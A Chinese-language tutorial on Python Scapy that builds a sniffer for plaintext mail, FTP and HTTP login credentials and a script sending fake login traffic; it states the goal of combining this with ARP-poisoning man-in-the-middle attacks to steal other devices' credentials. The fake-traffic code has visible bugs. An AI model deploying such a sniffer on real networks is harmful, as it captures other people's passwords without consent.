今天我们将编写一个非常简单的嗅探器来捕捉主流邮箱协议(
SMTP、POP3和IMAP)的身份凭证。
- 之后,用这个嗅探器配合基于ARP投毒的中间人(MITM)攻击,我们就能窃取网络中其他设备的身份凭证。
- 本文探讨基于Python Scapy的底层网络流量操作机制。文章剖析IP/TCP协议头部定制封装及控制标志位原理,演示ARP投毒实现,并详述针对POP3、FTP等明文协议的凭证嗅探与流量模拟验证过程。
文章目录
前置准备
Scapy 是 Python 中最强大、最灵活的网络数据包操作库。它的核心设计理念是:让用户能够绕过操作系统的网络栈,直接在底层自由组合不同网络协议层的模块,像搭积木一样构造出任何形态的报文。
Scapy 的主要用途
- 流量分析与抓包 :类似 Wireshark 和 tcpdump,可以使用
sniff()函数实时捕获网络流量,或读取/写入.pcap文件,非常适合提取流量特征进行安全分析。 - 网络扫描与发现:发送自定义的探测包(如 ICMP、TCP SYN)来发现存活主机、探测开放端口、进行操作系统指纹识别。
- 网络攻击与渗透测试:构造畸形或伪造的数据包来执行各类攻击,例如 ARP 投毒(如上一章所示)、DNS 欺骗、SYN 泛洪、VLAN 跳跃等。
- 安全防御与测试:作为防守方,常用于回放特定的攻击流量(PCAP replay),以验证防火墙策略或入侵检测系统(IDS)的告警规则是否生效。
默认情况下,Scapy 会自动计算校验和(Checksum)并填补必要的默认字段,我们只需要关注想修改的字段即可。
组合公式:
数据链路层 / 网络层 / 传输层 / 应用层数据
举例理解:
packet = Ether() / IP(dst="8.8.8.8") / TCP(dport=80) / "GET / HTTP/1.0\r\n\r\n"
(这行代码直接构造了一个发往 8.8.8.8 80端口的 HTTP GET 请求,包含了以太网帧、IP头部、TCP头部和 HTTP 文本)
这里我们给大家简单介绍一下Scapy语法以及用途:
bash
# 最简单的数据包内容嗅探器
sniff(filter="",iface="any",prn=function,count=N)
(1)filter参数允许我们指定一个BPF(Berkeley Packet Filter包过滤器 ),用于过滤Scapy嗅探到的数据包;也可以将此参数留空 ,表示嗅探所有的数据包;比如想嗅探所有的HTTP包,可以指定BPF为:tcp port 80
(2)iface参数用于指定嗅探对应的网卡 ,可以使用命令ipconfig /all进行查看:

(3)prn参数用于指定一个回调函数,每当遇到符合过滤条件的数据包时,嗅探器就会将该数据包传给这个回调函数;
多说无益,给大家看个例子:
python
from scapy.all import sniff
def packet_filter(packet):
print(packet.show())
# 这里因为只接受一个包,所以也不用做什么过滤
def main():
sniff(prn=packet_filter,count=1)
if __name__ == "__main__":
main()
下面是抓取第一个包的信息:
bash
###[ Ethernet ]###
dst = 00:a1:3d:67:de:0a
src = 78:af:08:7e:0c:e8
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 124
id = 12820
flags =
frag = 0
ttl = 128
proto = udp
chksum = 0x0
src = 192.168.1.169
dst = 124.88.192.90
\options \
###[ UDP ]###
sport = 51530
dport = 35513
len = 104
chksum = 0xff7d
###[ Raw ]###
load = b'\x00\x01\x00L!\x12\xa4B752AqQVeahT9\x00\x06\x00\tM0Oz:I2p4\x00\x00\x00\xc0W\x00\x04\x00\x00\x03\xe7\x80)\x00\x08\xc7D\xe0`\xd6\x94\x1f\x18\x00$\x00\x04n\x00\x1e\xff\x00\x08\x00\x14h\xf9MK\xed\xaa\x83\xc9\xafa\x11\x1f\xb2r\x12\xfe\x81\x98f\x83\x80(\x00\x04A\xf9\xdbF'
None
可以看到,收到网络上的第一个数据包之后,回调函数就会调用内置的packet.show函数展示数据包的内容,还会解析一部分协议信息。这个show函数是调试程序的好帮手,可以用它检查捕获到的数据包是不是你想要的。
BPF(Wireshark语法)
在接下来的例子中,我们将设置一个包过滤器,确保嗅探器只展示我们感兴趣的包。我们会使用BPF语法(也被称为Wireshark风格的语法)来编写过滤器。

- BPF语法组成:描述词(源/目标IP) + 数据流方向 + 使用协议
- 举例:
- 指定目标IP地址:ip.dst == 192.168.31.168
- 指定源IP地址:ip.src == 192.168.31.61
- 排查特定服务的通信:tcp.port == 80 || tcp.port == 443
- 特定的请求方法:http.request.method == "POST"
- 识别出端口扫描(如 SYN Scan):tcp.flags.syn == 1 && tcp.flags.ack == 0
如果大家还想了解如何使用wireshark在生活中的使用,可以看看下列文章:
- Webshell流量分析------玄机冰蝎Behinder2.0和3.0流量对比溯源(详细解析)
- 应急响应挑战杯(日志流量分析部分)
- 玄机------Wireshark流量分析案例篇(手把手教学基础篇)
- 具体可以看该专栏:等保应急响应(靶场)
捕捉主流邮箱协议
接下来我们将添加过滤器和回调函数代码,有针对性地捕获和邮箱账号认证相关的数据(比如明文数据的账号密码等)
测试脚本
下面我们就对上述代码做一个简单拓展:
python
from scapy.all import sniff, Raw
from scapy.layers.inet import IP, TCP
def packet_callback(packet):
# 确保数据包包含 TCP 层且带有应用层载荷 (Raw 层)
if packet.haslayer(TCP) and packet.haslayer(Raw):
# 将载荷的字节流解码为字符串,忽略无法解码的字符
payload = bytes(packet[TCP].payload).decode('utf-8', errors='ignore')
if 'user' in payload.lower() or 'pass' in payload.lower():
print(f"[*] 发现目标 IP: {packet[IP].dst}")
print(f"[*] 截获凭证: {payload.strip()} \n")
def main():
print("[*] 嗅探器已启动,正在监听 110, 25, 143 端口...")
# 建议测试时把 count=5 暂时去掉,让它持续监听
# sniff(filter='tcp port 110 or tcp port 25 or tcp port 143', prn=packet_callback, store=0)
# 把 filter 扩展,或者为了本地测试方便,直接去掉 filter 监听所有 tcp 端口
sniff(filter='tcp port 110 or tcp port 21 or tcp port 143 or tcp port 80 or tcp port 23', prn=packet_callback, store=0)
if __name__ == "__main__":
main()
我们修改了sniff函数,,这个过滤器只会监听常用邮件协议端口上接收到的流量,也就是110(POP3)、143(IMAP)和25(SMTP)等端口;
还增加了一个新参数store,把它设为0以后,Scapy就不会将任何数据包保留在内存里。
随后当回调函数packet_callback被调用时,我们会检查收到的数据包里有没有数据载荷,有没有USER或PASS这两条邮件协议命令。如果发现了任何认证数据,就把服务器地址和具体的认证数据打印出来;
伪造流量演示
这里为了方便演示,我们还可以编写一个发送流量的脚本:
python
from scapy.all import sniff,send
from scapy.layers.inet import IP,TCP
import time
def send_fake_traffic():
target = '127.0.0.1'
print(f"[*] 正在发送各种伪造协议流量...\n")
# # 1. POP3 (端口 110)
print(f"[*] 正在发送POP3伪造流量....")
send(IP(dst=target / TCP(sport=10000,dport=110,flags="PA") / "username:tim\r\n",verbose=False))
send(IP(src=target) / TCP(sport=10000,dport=110,flags="PA") / "Password:123456\r\n",verbose=False)
# 2. FTP (端口 21)
print("[*] 发送 FTP 流量...")
send(IP(dst=target) / TCP(sport=10002, dport=21, flags="PA") / "USER leco_ftp\r\n", verbose=False)
send(IP(dst=target) / TCP(sport=10002, dport=21, flags="PA") / "PASS ftp_secret_456\r\n", verbose=False)
time.sleep(0.5)
# 3. IMAP (端口 143) - 通常是在一行内同时发送账号和密码
print("[*] 发送 IMAP 流量...")
send(IP(dst=target) / TCP(sport=10003, dport=143, flags="PA") / "A001 LOGIN leco_user imap_secret_789\r\n",
verbose=False)
time.sleep(0.5)
# 4. HTTP POST 表单 (端口 80) - 模拟网页端未加密的登录提交
print(f"[*] 发送HTTP POST表单...")
http_payload = (
"POST /login.php HTTP 1.1/\r\n"
"Host: test.local\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"\r\n"
"username=leco&pass=jfda@f^!jd&id_type=0\r\n"
)
print(f"[*] 所有流量均已发送完毕..")
if __name__ == "__main__":
send_fake_traffic()
代码解释
这段代码的核心在于使用 Python 库 Scapy 构造并发送了一个网络数据包。我们将分析其核心语句:
pkt_user = IP(dst=target_ip) / TCP(sport=12345, dport=110, flags="PA") / "USER leco_admin\r\n"
在网络传输中,数据是被逐层封装的。Scapy 的语法完美对应了这一模型
text
+-------------------------------------------------------------+
| 以太网帧 (Ethernet Frame) |
| (如果未明确指定,Scapy 会在调用 send() 时自动填充此层) |
|-------------------------------------------------------------|
| IP 报文头 (IP Header) | <- IP(dst=target_ip)
| - 源IP (自动获取) |
| - 目标IP (127.0.0.1) |
|-------------------------------------------------------------|
| TCP 报文头 (TCP Header) | <- TCP(sport=12345, dport=110, flags="PA")
| - 源端口 (12345: 客户端随机端口) |
| - 目标端口 (110: POP3 协议默认端口) |
| - 控制标志 (Flags: PSH + ACK) |
|-------------------------------------------------------------|
| 应用层数据 (Payload/Data) | <- "USER leco_admin\r\n"
| - 协议: POP3 |
| - 内容: 提交用户名指令 |
+-------------------------------------------------------------+
参数作用解析
IP(dst=target_ip):工作在网络层(OSI 模型第三层)。负责将数据包路由到目标主机。dst(Destination):目标 IP 地址。
TCP(sport=12345, dport=110, flags="PA"):工作在传输层(OSI 模型第四层)。负责端到端的可靠通信。sport(Source Port):源端口,标识发送方的应用程序。dport(Destination Port):目的端口,标识接收方的服务程序(110 为 POP3 服务)。flags:TCP 标志位,用于控制连接状态。
"USER leco_admin\r\n":工作在应用层(OSI 模型第七层)。这是实际传输的有效载荷(Payload)。- 符合 POP3 协议规范的命令格式,要求以
\r\n(CRLF) 结尾。
- 符合 POP3 协议规范的命令格式,要求以
/操作符:Scapy 重载的层叠操作符,负责将上述各层结构组合成一个完整的数据包。
flags是 TCP 包里的控制位:- S = SYN 建立连接
- A = ACK 确认收到
- P = PSH 推送数据(马上把数据交给应用层)
- F = FIN 关闭连接
- R = RST 强制断开
随后我们首先运行嗅探脚本:

随后执行伪造流量脚本:

最后我们可以i得到结果:

注意:如果是本地进行实验的话,需要做如下改动才能抓到我们发送到伪造流量:
- 在一台 Windows 机器上,往这台机器自己的物理 IP 地址发包时,Windows 的网络协议栈会内部处理掉,并不会得到结果;
- 所以要在单台 Windows 机器上完成测试,最简单的方法就是
不要把目标 IP 设为自己,把它设为你的路由器(网关)IP!- 只要把包发给网关,这个数据包就必须离开本地电脑,通过物理网卡流向网线/WiFi
总结
本章我们简单了解了如何利用Scapy模块对特定协议进行过滤,下一篇文章我们将进行APR中间人攻击,来修改受害机器的网关MAC地址;